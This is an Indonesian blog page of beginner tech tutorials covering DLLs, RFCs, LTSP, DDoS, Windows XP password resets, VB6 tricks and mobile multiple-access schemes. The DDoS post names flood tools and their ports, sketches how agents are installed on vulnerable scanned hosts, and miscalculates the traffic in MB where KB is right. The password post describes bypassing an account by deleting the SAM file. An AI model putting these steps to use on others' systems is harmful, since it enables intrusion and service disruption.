DLL dan Implementasinya

Pemrograman DLL yang singkatannya ialah Dynamic Link Library, bagi penulis sendiri merupakan salah satu keajaiban dari pemrograman disamping pemrograman COM. Walaupun penulis sendiri belum banyak mempraktekkan dari DLL ini tapi penulis yakin setelah kalian mempraktekkannya mungkin akan lebih memahami prinsipnya.

Penulis dalam hal ini menggunakan compiler C/C++ yang bernama "BloodShed Dev-Cpp" under Windows yang dapat di download gratis di Bloodshed. Alasannya "keren namanya" ^_^. Oke, kita lanjut aja. Berikut adalah contoh source code dan sedikit penjelasan untuk pemrograman DLLnya.

/* Syntax dll.h */
/* Penjelasan : template ini sudah bawaan dari BloodShed */
#ifndef _DLL_H_
#define _DLL_H_

#if BUILDING_DLL
# define DLLIMPORT __declspec (dllexport)
#else /* Not BUILDING_DLL */
# define DLLIMPORT __declspec (dllimport)
#endif /* Not BUILDING_DLL */

/* Fungsi DLL yang akan kita import */
class DLLIMPORT DllClass
{
public:
DllClass();
virtual ~DllClass(void);

private:

};


#endif /* _DLL_H_ */

----- C U T H E R E ---------------------

/* Syntax dllmain.cpp */
/* Replace "dll.h" with the name of your header */
/* Penjelasan : template ini sudah bawaan dari BloodShed */
#include "dll.h"
#include

// DLL yang akan diimport
DllClass::DllClass()
{

}


DllClass::~DllClass ()
{

}


BOOL APIENTRY DllMain (HINSTANCE hInst,
DWORD reason,
LPVOID reserved)
{
switch (reason)
{
case DLL_PROCESS_ATTACH:
/* Tempat definisi global variabel,
alokasi memori dan lain-lain */
break;

case DLL_PROCESS_DETACH:
/* Tempat free-ing memory dan hal-hal
lain yang telah dialokasikan di atas
*/
break;

case DLL_THREAD_ATTACH:
break;

case DLL_THREAD_DETACH:
break;
}

/* Returns TRUE on success, FALSE on failure */
return TRUE;
}

// Just testing our friendly DLL ^_^
int WINAPI TesOurWord()
{
// Put whatever u want
MessageBox(NULL,"Met lebaran","Function DLL",MB_OK |
MB_ICONEXCLAMATION);

return 1;
}

------- C U T H E R E --------------------------------------

/* Syntax main.cpp */
#include
#include
int main()
{
HINSTANCE hDLL;

hDLL = LoadLibrary("An-nur.dll"); /* Kita panggil DLL nya */
if(!hDLL)
return 0;
TesOurWord(); /* Kita panggil Fungsi dari DLL */
FreeLibrary(hDLL); /* Kalian mestinya tahu apa arti ini */
return 0;
}

Selama kita mengetahui fungsi yang ada dalam DLL tersebut maka kita akan dapat memanggilnya, tidak peduli apakah itu dibuat dengan C atau Pascal. Yang jadi masalah ialah setelah DLL telah terkompile dan menjadi sebuah file misalkan 'An-nur.dll' maka kita tidak bisa membukanya. Kecuali dengan program bawaan dari Windows NT 4 yakni QuickView. Disitu kita dapat melihat fungsi-fungsi apa saja yang dapat kita panggil dari DLL yang telah terkompile.

Sedikit penjelasan ini semoga dapat berguna. Silakan ditambahkan kekurangannya.
Selamat belajar....
Read more »
These icons link to social bookmarking sites where readers can share and discover new web pages.
  • Digg
  • Sphinn
  • del.icio.us
  • Facebook
  • Mixx
  • Google
  • Furl
  • Reddit
  • Spurl
  • StumbleUpon
  • Technorati

Manfaat RFC

Pertama-tama tulisan ini ditujukan bagi mereka para pemula (termasuk penulis sendiri). Jika ada yang kurang silakan dikoreksi.

Banyak dari mereka para pemula (newbie) dalam internet yang masih belum mengetahui apa itu RFC. Sebenarnya apa sih RFC itu ? RFC atau Request For Comment dapat dikatakan sebagai cetakan birunya (konsep rancangan) dari jaringan yang telah digunakan di seluruh dunia (ex. protokol HTTP, telnet, ftp dan lainnya).

Kenapa begitu pentingnya ?, karena RFC itu dipakai di seluruh dunia dan telah menjadi standard penggunaan. Contoh yang paling mudah ialah sebuah protokol. Dan contoh dari protokol salah satunya ialah TCP. Sebelum menjurus lebih jauh, penulis akan menjelaskan apa itu protokol.

Protokol merupakan standar komunikasi untuk hubungan antara satu komputer dengan komputer yang lainnya. Tanpa adanya protokol ini maka antara iMAC dan PC tidak bisa berhubungan karena perbedaan arsitektur komputer. Dimanakah letak protokol ini ?, tentu saja pada kernel tersebut. Karena sudah menjadi standard maka antar komputer dengan arsitektur yang bermacam-macam dapat saling berhubungan.

Kita kembali kepada RFC dan bagaimana cara mempelajarinya secara efisien. Terdapat suatu standarisasi dokumen untuk mendefinisikan beberapa kata yang digunakan dalam RFC (lihat RFC 2119).

MUST
Kata ini atau "REQUIRED" atau "SHALL" berarti kebutuhan akan suatu hal dari konsep HARUS ada. Artinya benar-benar harus ada.

MUST NOT
"MUST NOT" atau "SHALL NOT" menunjukkan keharusan juga sesuai dengan arti kata yang ada.

SHOULD
Kata ini memiliki persamaan dengan "RECOMMENDED", yang berarti pada suatu keadaan dapat diabaikan akan tetapi sangat disarankan untuk memahami dan memperhatikannya sebelum menggunakan jalan lain.

SHOULD NOT
Sesuai dengan artinya yakni pada suatu keadaan dapat diabaikan, akan tetapi perlu diperhatikan dengan jelas sebelum mengambil cara lain.

MAY
Kata ini memiliki persamaan dengan "OPTIONAL" yang berarti memang benar-benar optional.

Guidance (Tuntunan)
Pendefinisian, pengertian dan cara-cara serta implementasi yang harus diperhatikan dengan baik.

Security Consider
Hal-hal yang perlu diperhatikan di dalam implementasi terutama yang menyangkut masalah keamanan dari konsep yang akan diterapkan.

Dengan memahami konsep yang di deskripsikan pada RFC yang ada kita dapat membuat suatu aplikasi yang dapat diterapkan sesuai dengan deskripsinya. Contoh yang pernah penulis lakukan ialah memanfaatkan RFC 1459 (Internet Relay Chat Protokol) dimana dengan ini kita dapat membuat sebuah Messenger sederhana.

Kalian dapat mencari RFC yang ada pada internet. Manfaatkanlah Search Engine yang ada (ex. Google). Penulis mendapatkan RFC-RFC yang ada dari teman. Silakan kalian mencarinya.
Jika ada yang masih kurang dan perlu ditambahkan dari keterangan ini silakan ditambahkan.
Happy Hacking guys !
Read more »
These icons link to social bookmarking sites where readers can share and discover new web pages.
  • Digg
  • Sphinn
  • del.icio.us
  • Facebook
  • Mixx
  • Google
  • Furl
  • Reddit
  • Spurl
  • StumbleUpon
  • Technorati

Jaringan Linux

Krisis yang berkepanjangan telah menuntut kita untuk sangat berhemat, penulis disini ingin membagi ilmu tentang solusi jaringan murah berbasis linux. Dimana melalui solusi ini kita dapat menghemat beberapa ratus ribu bahkan juta di dalam membeli peripheral komputer.

Yang ingin penulis tawarkan ialah jaringan LTSP (Linux Terminal Server Project), dimana dengan ini kita dapat membuat sebuah workstation yang terhubung dengan sebuah server LTSP tersebut. Workstation yang kita miliki cukup menggunakan 2 buah alat penting yakni LAN Card dan floppy disk (tidak perlu harddisk). Jadi keseluruhan dari workstation akan langsung mengakses ke server yakni LTSP server itu sendiri yang telah terinstall.

File-file installasi yang diperlukan yang paling mendasar ialah :
1. ltsp_core
2. ltsp_kernel
Keduanya dapat di download pada http://prdownloads.sourceforge.net/ltsp/. Ada beberapa format paket yang dapat kalian pilih, sesuaikan dengan kebutuhan. Setelah di download kalian dapat menginstallnya satu per satu pada komputer yang akan dijadikan server bagi LTSP.

Kemudian setelah terinstall keduanya, kalian dapat mengkonfigurasi file-file yang ada pada /otp/ltsp/templates. Bagi yang tidak sabar dapat langsung mengeksekusi file berikut untuk mengkonfigurasi server LTSP yang telah terinstall, sebagai berikut :

cd /opt/ltsp/templates
./ltsp_initialize
pilih Apply

Bagi yang ingin mengetahui informasi file apa saja yang akan dikonfigurasi dapat memilih review setelah eksekusi ltsp_initialize.

Setelah konfigurasi selesai kalian dapat menkonfigurasi workstation kalian melalui server LTSP pada file-file berikut :
1. /etc/dhcpd.conf
2. /etc/hosts
3. /opt/ltsp/i386/etc/lts.conf

Keterangan:

1. /etc/dhcpd.conf

Disini saya menganggap kalian telah mengerti apa itu DHCP (kalau belum silakan lihat http://www.cs.unm.edu/~vuksan/linux/DHCP.html). Setelah ltsp_core dan ltsp_kernel terinstall biasanya diikut sertakan file dhcpd.conf.example sebagai contoh. Silakan disesuaikan konfigurasinya dengan workstation kalian.

2. /etc/hosts

Berfungsi untuk mapping IP address kepada hostname komputer. Bisa juga disebut sebagai resolver.

3. /opt/ltsp/i386/etc/lts.conf

File ini berisi konfigurasi dari LTSP mulai dari no IP server dan, run level dan sebagainya.


Ada dua cara dimana workstation tersebut dapat booting melalui jaringan. Yakni :
1. Menggunakan BOOT ROM yang telah terdapat pada tiap-tiap network card sekarang,
2. Menggunakan boot floopy (disinilah fungsi dari floopy drive).
Read more »
These icons link to social bookmarking sites where readers can share and discover new web pages.
  • Digg
  • Sphinn
  • del.icio.us
  • Facebook
  • Mixx
  • Google
  • Furl
  • Reddit
  • Spurl
  • StumbleUpon
  • Technorati

Informasi Tentang DDOS

PENDAHULUAN
Internet merupakan sebuah media informasi maupun komunikasi. Banyak informasi yang bisa didapatkan diinternet. Mulai dari informasi mengenai pendidikan, iklan maupun yang lainnya. Selain itu, internet juga banyak dimanfaatkan oleh para pengusaha untuk dijadikan sebagai peluang bisnis. Meskipun tidak memiliki kantor yang tetap, bisnis masih bisa dilakukan meskipun hanya menggunakan sebuah web sederhana.
Para pelaku bisnis yang hanya mengandalkan fasilitas internet harus berhati-hati atas ancaman-ancaman yang ada diinternet. Misalnya serangan DDOS yang merugikan. Serangan ini bisa membuat server web yang digunakan sulit untuk diakses, bahkan sampai tidak bisa diakses. Hal ini bisa menimbulkan kerugian di pihak pengusaha yang hanya menggunakan layanan internet untuk menjalankan bisnisnya.
PENGERTIAN DENIAL DISTRIBUTE OF SERVICE (DDOS)
Denial of Service adalah aktifitas menghambat kerja sebuah layanan (servis) atau mematikan-nya, sehingga user yang berhak/berkepentingan tidak dapat menggunakan layanan tersebut [01]. Serangan Denial of Service (DOS) ini terjadi apabila penyerang atau yang sering terdengar dengan istilah hacker ini merusak host atau sevice yang ada sehingga host atau service itu tidak dapat lagi berkomunikasi secara lancar di dalam network neighborhood-nya [03]. Perkembangan dari serangan DOS adalah DDOS. Serangan DDoS adalah jenis serangan dengan cara memenuhi trafik server situs tersebut hingga situs menjadi lambat dan susah diakses [02]. Pengertian lain tentang DDOS adalah mengirimkan data secara terus menerus dengan menggunakan satu komputer tidak begitu efektif karena biasanya sumber daya server yang diserang lebih besar dari komputer penyerang [04].
Dari beberapa pengertian di atas dapat disimpulkan bahwa serangan DDOS (Denial Distribute Of Service) sangat merugikan bagi yang diserang, karena serangan ini dapat menghambat kerja pengguna dari komputer korban. Dimana komputer korban menjadi lambat dan sulit untuk diakses akibat dari penuhnya trafik dalam komputer tersebut.
CARA KERJA SERANGAN DDOS
Cara kerja DDOS dalam melakukan serangan kepada situs yang diinginkan. Secara sederhana serangan DDOS bisa dilakukan dengan menggunakan perintah “ping” yang dimiliki oleh windows. Proses “ping” ini ditujukan kepada situs yang akan menjadi korban. Jika perintah ini hanya dilakukan oleh sebuah komputer, perintah ini mungkin tidak menimbulkan efek bagi komputer korban. Akan tetapi, jika perintah ini dilakukan oleh banyak komputer kepada satu situs maka perintah ini bisa memperlambat kerja komputer korban.
Satu komputer mengirimkan data sebesar 32 bytes / detik ke situs yang di tuju. Jika ada 10.000 komputer yang melakukan perintah tersebut secara bersamaan, itu artinya ada kiriman data sebesar 312 Mega Bytes/ detik yang di terima oleh situs yang di tuju tadi. Dan server dari situs yang dituju tadi pun harus merespon kiriman yang di kirim dari 10.000 komputer secara bersamaan. Jika 312 MB/detik data yang harus di proses oleh server, dalam 1 menit saja, server harus memproses kiriman data sebesar 312 MB x 60 detik = 18720 MB. Bisa di tebak, situs yang di serang dengan metode ini akan mengalami Over Load / kelebihan data, dan tidak sanggup memproses kiriman data yang datang. Komputer-komputer lain yang ikut melakukan serangan tersebut di sebut komputer zombie, dimana sudah terinfeksi semacam adware. jadi si Penyerang hanya memerintahkan komputer utamanya untuk mengirimkan perintah ke komputer zombie yang sudah terinfeksi agar melakukan “Ping” ke situs yang di tuju [05].

BEBERAPA SOFTWARE YANG DIGUNAKAN UNTUK MELANCARKAN SERANGAN DDOS
Disini akan di bahas empat macam software yang bisa digunakan untuk melancarkan serangan DDOS [06].
1. The Tribal Flood Network (TFN).
TFN ini diciptakan oleh hacker yang cukup terkenal pada kalangan underground
yang bernama Mixter. Aplikasi ini memungkinkan penyerang membuat flood
connection dengan menggunakan protocol yang ada pada TCP/IP yaitu:
o UDP, difokuskan pada domain name system dan network management program.
o TCP, pusat e-mail dan web transaksi.
o ICMP, digunakan oleh para professional untuk troubleshooting network.
o Nama program masternya adalah : tribe.c dan program daemon bernama td.c
2. Trin00
Software ini menggunakan UDP untuk mengirimkan flood packets network. Port yang digunakan adalah:
o Attack to Master : TCP Port 27665
o Master to Daemon : UDP Port 27444
o Daemon to Master(s) : UDP Port 31335
Program master : master.c dan program Daemon : ns.c
Program ini tidak bagus untuk digunakan karena master dan daemon
berhubungan dengan clear text.
3. Stacheldraht
Nama program ini dalam bahasa Jerman yang berarti “Barb Wire”. Sama sepeti TFN software ini menggunakan UDP, TCP, ICMP dalam menciptakan rootshell pada port port yang ada. Menggunakan komunikasi encrypt antar master dan daemon. Memiliki kemampuan mengupdate daemonnya sendiri secara otomatis.
Maka dari itu program ini paling effisien dan cukup berbahaya.
o Port TCP : 16660 dan 60001
o Master program bernama : mserv.c dan daemon program bernama : td.c
o Program ini memiliki client yang juga sebagai telnet : client.c
Komunikasi antara master dan agent menggunakan ICMP dan TCP sedangkan TFN hanya menggunakan ICMP.
4. TFN2K
Di realease pada tgl 21 Desember 1999. Seperti halnya Stacheldraht program ini meng encrypt tranmision. Berjalan pada platform Windows NT. Tetapi program ini lebih mudah di trace pada daemonnya.
CARA MENGINSTALASI PROGRAM DDOS
Untuk menginstalasi program DDOS, master atau daemon node harus dikomunikasikan terlebih dahulu sehingga mendapatkan trust security. Untuk mendapatkan trust security dengan cara yang sangat mudah, gunakan scan tool dari range IP di internet kemudian setelah mendapatkan host-host tsb, baru diinstall client software pada host-host yang masih full of hole security. Software client tersebut dapat di uninstall dengan cara di set terlebih dahulu, di uninstall setelah berapa kali serangan[06].
EFEK DARI SERANGAN DDOS
Efek dari serangan DDOS sangat menganggu pengguna internet yang ingin mengunjungi situs yang telah diserang menggunakan DDOS. Situs yang terserang DDOS sulik untuk diakses bahkan mungkin tidak bisa untuk diakses. Kesulitan pengaksesan sebuah situs diinternet bisa saja merugikan bagi sebagian orang yang bisnisnya sangat tergantung kepada layanan internet.
Secara umum end user atau korban serangan DDOS ini hanya sadar bahwa serangan seperti ini hanya merupakan gangguan yang memerlukan restart system.
Serangan DDOS ini juga dapat merupakan pengalihan point of view dari si hacker
untuk mendapatkan informasi penting yang ada. Pada dasarnya serangan DOS ini
merupakan rangkaian rencana kerja yang sudah disusun oleh hacker dalam mencapai
tujuannya yang telah ditargetkan[06].
Dari pernyataan di atas dapat disimpulkan bahwa serangan DDOS tidak semata-mata hanya untuk membuat web server kelebihan beban akan tetapi merupakan sebuah taktik untuk mencapai tujuan tertentu. Tujuan itu bisa saja persaingan bisnis supaya layanan dari situs saingan terhambat.
Read more »
These icons link to social bookmarking sites where readers can share and discover new web pages.
  • Digg
  • Sphinn
  • del.icio.us
  • Facebook
  • Mixx
  • Google
  • Furl
  • Reddit
  • Spurl
  • StumbleUpon
  • Technorati

Mad Internet

Ringkasan ini tidak tersedia. Harap klik di sini untuk melihat postingan.
Read more »
These icons link to social bookmarking sites where readers can share and discover new web pages.
  • Digg
  • Sphinn
  • del.icio.us
  • Facebook
  • Mixx
  • Google
  • Furl
  • Reddit
  • Spurl
  • StumbleUpon
  • Technorati

Membuka Password Admin Windows Xp

Maksud hati ingin membuat password admin Windows XP yang secure, nggak gampang ditebak. Namun yang terjadi malah lupa password. Nah, jika anda dalam kondisi ini, nggak usah panik atau buru-buru buang-buang waktu untuk melakukan Install Ulang. Cobalah beberapa solusi berikut:



1. Menghapus file SAM

---------------------

Persiapkan CD Instalasi Windows dan bootinglah menggunakan CD tersebut. Masuk ke Windows Recovery Console lalu pergilah ke lokasi berikut:

C:\WINDOWS\SYSTEM32\CONFIG

Hapuslah file SAM yang ada didalamnya. Aksi ini akan mereset semua user yang ada di komputer anda. Aksi ini akan menghapus semua user account di komputer anda, termasuk Administrator sehingga nantinya password Admin akan kosong.



2. Download bd040116.zip dari:

http://home.eunet.no/%7Epnordahl/ntpasswd/bootdisk.html

Utility gratisan yang bisa mengubah semua password OS berbasis NTFS seperti Windows NT, 2000, XP. Utility ini akan membuat bootdisk sendiri.



3. WSINTERNALS ERD COMMANDER

----------------------------

Gunakan WSINTERNALS ERD COMMANDER dari www.wsinternals.com Program itu akan membuat password Admin baru.
Read more »
These icons link to social bookmarking sites where readers can share and discover new web pages.
  • Digg
  • Sphinn
  • del.icio.us
  • Facebook
  • Mixx
  • Google
  • Furl
  • Reddit
  • Spurl
  • StumbleUpon
  • Technorati

Langkah 1.

Okay, Buka Microsoft Visual Basic 6.0 Anda. Pada kotak dialog yang muncul, pilih Standard EXE lalu klik [Open]









Langkah 2.

Buatlah 6 buah Button pada Form anda. Susun seperti gambar berikut:





Atur juga Properties Form-nya:







Langkah 3.

Buatlah sebuah modul baru. Klik menu [Project] kemudian pilih [Add Module]. Akan tampil sebuah kotak dialog. Klik Module, kemudian klik [Open]. Copy-Paste Modul berikut:

Declare Function FindWindow Lib "user32" Alias "FindWindowA" (ByVal lpClassName As String, ByVal lpWindowName As String) As Long
Declare Function FindWindowEx Lib "user32" Alias "FindWindowExA" (ByVal hWnd1 As Long, ByVal hWnd2 As Long, ByVal lpsz1 As String, ByVal lpsz2 As String) As Long
Public Declare Function ShowWindow Lib "user32" (ByVal hwnd As Long, ByVal nCmdShow As Long) As Long
Public Function HideStartButton()
Dim Handle As Long, FindClass As Long
FindClass& = FindWindow("Shell_TrayWnd", "")
Handle& = FindWindowEx(FindClass&, 0, "Button", vbNullString)
ShowWindow Handle&, 0
End Function
Public Function ShowStartButton()
Dim Handle As Long, FindClass As Long
FindClass& = FindWindow("Shell_TrayWnd", "")
Handle& = FindWindowEx(FindClass&, 0, "Button", vbNullString)
ShowWindow Handle&, 1
End Function
Public Function HideDesktop()
ShowWindow FindWindowEx(FindWindowEx(FindWindow("Progman", vbNullString), 0&, "SHELLDLL_DefView", vbNullString), 0&, "SysListView32", vbNullString), 0
End Function
Public Function ShowDesktop()
ShowWindow FindWindowEx(FindWindowEx(FindWindow("Progman", vbNullString), 0&, "SHELLDLL_DefView", vbNullString), 0&, "SysListView32", vbNullString), 5
End Function
Public Function HideTaskBarClock()
Dim FindClass As Long, FindParent As Long, Handle As Long
FindClass& = FindWindow("Shell_TrayWnd", vbNullString)
FindParent& = FindWindowEx(FindClass&, 0, "TrayNotifyWnd", vbNullString)
Handle& = FindWindowEx(FindParent&, 0, "TrayClockWClass", vbNullString)
ShowWindow Handle&, 0
End Function
Public Function ShowTaskBarClock()
Dim FindClass As Long, FindParent As Long, Handle As Long
FindClass& = FindWindow("Shell_TrayWnd", vbNullString)
FindParent& = FindWindowEx(FindClass&, 0, "TrayNotifyWnd", vbNullString)
Handle& = FindWindowEx(FindParent&, 0, "TrayClockWClass", vbNullString)
ShowWindow Handle&, 1
End Function
Public Function HideTaskBarIcons()
Dim FindClass As Long, Handle As Long
FindClass& = FindWindow("Shell_TrayWnd", "")
Handle& = FindWindowEx(FindClass&, 0, "TrayNotifyWnd", vbNullString)
ShowWindow Handle&, 0
End Function
Public Function ShowTaskBarIcons()
Dim FindClass As Long, Handle As Long
FindClass& = FindWindow("Shell_TrayWnd", "")
Handle& = FindWindowEx(FindClass&, 0, "TrayNotifyWnd", vbNullString)
ShowWindow Handle&, 1
End Function
Public Function HideTaskBar()
Dim Handle As Long
Handle& = FindWindow("Shell_TrayWnd", vbNullString)
ShowWindow Handle&, 0
End Function
Public Function ShowTaskBar()
Dim Handle As Long
Handle& = FindWindow("Shell_TrayWnd", vbNullString)
ShowWindow Handle&, 1
End Function




Langkah 4.

Klik Form anda. Kemudian klik menu [View] lalu pilih [Code]. Copy-Paste Code berikut:

Private Sub Form_Load()
Command1.Caption = "Sembunyikan Tombol Start"
Command2.Caption = "Sembunyikan Icon Desktop"
Command3.Caption = "Sembunyikan Taskbar Clock"
Command4.Caption = "Sembunyikan Icon Systray"
Command5.Caption = "Sembunyikan Taskbar"
Command6.Caption = "Tampilkan Semua!!"
End Sub
Private Sub Command1_Click()
HideStartButton
End Sub
Private Sub Command2_Click()
HideDesktop
End Sub
Private Sub Command3_Click()
HideTaskBarClock
End Sub
Private Sub Command4_Click()
HideTaskBarIcons
End Sub
Private Sub Command5_Click()
HideTaskBar
End Sub
Private Sub Command6_Click()
ShowStartButton
ShowDesktop
ShowTaskBarClock
ShowTaskBarIcons
ShowTaskBar
End Sub




Langkah 5.

Simpan hasil pekerjaan anda. Klik File --> Save Project. Kini jalankan Program anda, tekan tombol [F5] pada keyboard anda. Kurang lebih hasilnya demikian:





Selamat mencoba.. bisa dipadukan dengan Virus buatan anda atau.. hehehe.. terserah anda laah.. ;)
Read more »
These icons link to social bookmarking sites where readers can share and discover new web pages.
  • Digg
  • Sphinn
  • del.icio.us
  • Facebook
  • Mixx
  • Google
  • Furl
  • Reddit
  • Spurl
  • StumbleUpon
  • Technorati

Membuat Virus VB

I. Preface
-----------


File yang telah anda hapus ternyata belum sepenuhnya hilang dari harddisk anda sekalipun anda sudah memusnahkannya dari Recycle Bin. Di satu sisi hal ini menguntungkan karena kita bisa mengembalikan data-data penting kita yang tidak sengaja terhapus karena kelalaian kita. Namun di sisi lain bisa jadi berbahaya tatkala file tersebut berisi data rahasia yang ingin kita musnahkan karena orang lain bisa saja menemukan file rahasia itu dengan menggunakan software-software recovery data yang kini semakin banyak dan semakin luar biasa.



Untuk keperluan penghancuran data sensitif, kita mungkin sering bergantung pada tools yang telah banyak beredar. Kali ini, kita akan mencoba membuat tools penghancur data sendiri menggunakan VB6.0 dengan konsep sederhana.


II. Contents
------------

-----[01]. Konsep dasar


Konsep dasar dalam program penghancur data yang akan kita buat kali ini ialah sebagai berikut:
1. Buka file target kemudian hapus semua data yang tersimpan.

2. Ubah ekstensi File target.

3. Hapus File target.




-----[02]. Let's DO IT!


(1). Buka aplikasi VB6.0 anda. Pada jendela New Project, pilih Standard Exe lalu klik [OPEN].







(2). Tekan [CTRL]+[T] untuk memanggil jendela add component. Carilah component bernama Microsoft Common Dialog Control 6.0 (SP3). Beri centang lalu klik [OK].







(3). Sekarang, tambahkan komponen komponen berikut pada form anda:

     -> 1 buah TextBox

     -> 1 buah Label

     -> 2 buah Command Button

     -> 1 buah CommonDialog

     Atur tampilannya sesuai keinginan anda.







(4). Klik menu [View] lalu pilih [Code]. Salin code berikut pada area kerja anda.

Private Sub Form_Load()
Text1.Text = ""
Label1.Caption = ""
Command1.Caption = "BROWSE"
Command2.Caption = "DESTROY!"
Form1.Caption = "Penghancur Data"
End Sub
Private Sub Command1_Click()
'------------------------------------------------
'Mencari file target
'------------------------------------------------
Label1.Caption = ""
Text1.Text = ""
On Error GoTo ErrHandler
    CommonDialog1.Filter = "All Files"
    CommonDialog1.FilterIndex = 2
    CommonDialog1.DialogTitle = "Open file to delete..."
    CommonDialog1.ShowOpen
    Text1.Text = CommonDialog1.FileName
ErrHandler:
    Exit Sub
End Sub
Private Sub Command2_Click()
'------------------------------------------------
'Buka file target kemudian hapus seluruh isinya.
'------------------------------------------------
Open CommonDialog1.FileName For Output As #1
Print #1, ""
Close #1
'------------------------------------------------
'Ubah ekstensi file target menjadi .tmp
'------------------------------------------------
changeEX = ChangeFileExt(CommonDialog1.FileName, "tmp")
Label1.Caption = "DATA SUDAH DIHANCURKAN!!"
End Sub
Public Function ChangeFileExt(ByVal nama_file As String, ByVal ekstensi_baru As String) As Boolean
'------------------------------------------------
'Fungsi untuk mengubah ekstensi file
'------------------------------------------------
Dim x As Long
Dim xy As Long
Dim nama_baru As String
On Error Resume Next
ChangeFileExt = False
If nama_file = "" Then Exit Function
x = 0
Do
xy = x
x = InStr(x + 1, nama_file, ".", vbBinaryCompare)
Loop Until x = 0
If xy > 0 Then
nama_baru = Left(nama_file, xy - 1)
Else
nama_baru = nama_file
End If
nama_baru = nama_baru & "." & ekstensi_baru
Err.Clear
Name nama_file As nama_baru
Kill nama_baru
If Err.Number = 0 Then ChangeFileExt = True
End Function






(5). Compile hasil pekerjaan anda. Klik menu [File] [Make Project1.exe]. Beri nama data_destroyer.exe lalu klik [OK].



Cobalah untuk menghapus suatu file dengan aplikasi yang baru saja anda buat. Lalu cobalah recovery kembali data yang telah terhapus itu dengan software recovery data kesayangan anda. Lihat hasilnya.. ;)
Read more »
These icons link to social bookmarking sites where readers can share and discover new web pages.
  • Digg
  • Sphinn
  • del.icio.us
  • Facebook
  • Mixx
  • Google
  • Furl
  • Reddit
  • Spurl
  • StumbleUpon
  • Technorati

Beda Antara CDMA FDMA TDMA

Kali ini saya akan membahas mengenai perbedaan FDMA, TDMA dan CDMA. Tidak banyak sich yang bisa saya paparkan, namun semoga tulisan singkat ini bermanfaat bagi anda. Selamat menikmati ;)



---< FDMA
FDMA adalah sistem multiple access yang menempatkan seorang pelanggan pada sebuah kanal berbentuk pita frekuensi (frequency band) komunikasi. Jika satu pita frekuensi dianggap sebagai satu jalan, maka FDMA merupakan teknik "satu pelanggan, satu jalan". Pada saat pelanggan A sedang menggunakan jalan itu, maka pelanggan lain tidak dapat menggunakan sebelum pelanggan A selesai. Jadi, kalau dalam waktu yang bersamaan ada 100 pelanggan yang ingin berkomunikasi dengan rekannya, maka sudah tentu diperlukan 100 pita frekuensi. Kalau setiap pita memerlukan lebar 30 Kilo Hertz (kHz) dan frekuensi yang digunakan berawal dari 890 Mega Hertz (MHz), maka:

• Pita frekuensi kanal 1 mulai dari 890 MHz hingga 890,030 Mhz
• Pita frekuensi kanal 2 mulai dari 890,030 MHz hingga 890,060 MHz
• Pita frekuensi kanal 3 mulai dari 890,060 MHz hingga 890,090 MHz
• dan seterusnya.

Sedangkan lebar total seluruh pita yang digunakan adalah:
100 x 30.000 Hz = 3.000.000 Hz = 3 MHz.

Artinya, jika frekuensi yang digunakan mempunyai batas bawah 890 MHz, maka batas atasnya adalah 893 MHz.

Akan tetapi, frekuensi yang tersedia untuk komunikasi bergerak dibatasi oleh peraturan yang ada karena frekuensi-frekuensi lain pasti digunakan untuk jatah keperluan yang lain pula. Sementara jatah frekuensi yang ada pun harus dibagi antarpenyelenggara telepon seluler. Karena itu, untuk memperbanyak kapasitas dengan jumlah kanal yang terbatas, digunakan trik-trik tertentu sesuai dengan strategi si penyelenggara.


---< TDMA
Berbeda dengan FDMA yang memberikan satu pita frekuensi untuk dipakai satu pelanggan, TDMA memberikan satu pita frekuensi untuk dipakai beberapa pelanggan. Jadi kanal-kanal komunikasi dirupakan dalam bentuk slot-slot waktu. Slot waktu adalah berapa lama seorang pelanggan mendapat giliran untuk memakai pita frekuensi. Satu slot waktu digunakan oleh satu pelanggan. Slot-slot waktu ini dibingkai dalam satu periode yang disebut satu frame. Jadi misalkan ada 10 pelanggan yang masing-masing adalah A, B, C, D, E, F, G, H, I, dan J, maka dalam satu frame terdapat 10 slot waktu yang merupakan giliran tiap pelanggan untuk menggunakan pita frekuensi yang sama.

Proses komunikasi multi-access dilakukan dengan menjalankan frame ini berulang- ulang sehingga akan muncul urutan giliran pemakaian saluran seperti: A-B-C-D-E-F-G-H-I-J-A-B-C-D- E-F-G-H-I-J-A-B-C-dan seterusnya. Tentu saja harus ada pembatasan jumlah pelanggan yang menggunakan satu pita frekuensi ini. Jika tidak dibatasi, periode frame akan terlalu panjang dan akibatnya timbul komunikasi terputus-putus yang mengganggu pembicaraan.

Karena sifatnya yang tidak kontinyu (tidak terjadi pemakaian pita frekuensi terus menerus oleh satu pelanggan dalam satu periode pembicaraan), maka teknik TDMA hanya dapat mengakomodasi data digital atau modulasi digital. Sehingga sinyal-sinyal analog yang akan dikirim, harus diubah menjadi format digital dahulu.

---< CDMA
Teknik CDMA adalah temuan yang lebih baru dibandingkan dengan FDMA dan TDMA. Teknik CDMA berawal pada tahun 1949 ketika Claude Shannon dan Robert Pierce (yang banyak jasanya untuk kemajuan teknologi telekomunikasi saat ini) menyampaikan ide dasar CDMA. Teknik ini merupakan temuan yang brilian karena kanal yang satu dengan lainnya tidak dibedakan dari frekuensi/FDMA atau waktu/TDMA yang secara awam lebih mudah dipahami, melainkan dengan perbedaan kode. Jadi pada CDMA, seluruh pelanggan menggunakan frekuensi yang sama pada waktu yang sama.

CDMA (juga disebut DSSS/ direct sequence spread spectrum) merupakan salah satu dari dua jenis teknik murni spread spectrum multiple access (SSMA). Jenis lainnya dikenal sebagai FHMA (frequency hopping spread spectrum). Kedua jenis ini tergolong SSMA karena sinyalnya tersebar (spread) pada spektrum pita frekuensi yang lebar. Pada CDMA, penyebaran sinyal diperoleh akibat proses perkalian data input (yang mempunyai waktu perubahan lambat) dengan kode PN (yang mempunyai waktu perubahan cepat).

Walaupun pita frekuensinya lebar, tegangan sinyal yang dihasilkan sangat kecil, menyerupai noise (bising) yang selalu menyertai gelombang radio. Sehingga apabila dimonitor oleh penerima lain, sinyal yang dipancarkan oleh pengirim berbasis CDMA hanya berupa noise (seolah-olah menunjukkan ketiadaan sinyal pancar) yang tidak mengganggu sinyal lain. Sifat CDMA yang lain adalah kemampuannya untuk tahan terhadap jamming (penutupan oleh sinyal yang lebih kuat) pada pita frekuensi sempit. Hal ini terjadi karena jamming pada pita frekuensi sempit itu tidak akan mengganggu sinyal-sinyal CDMA yang tersebar di pita frekuensi lain.

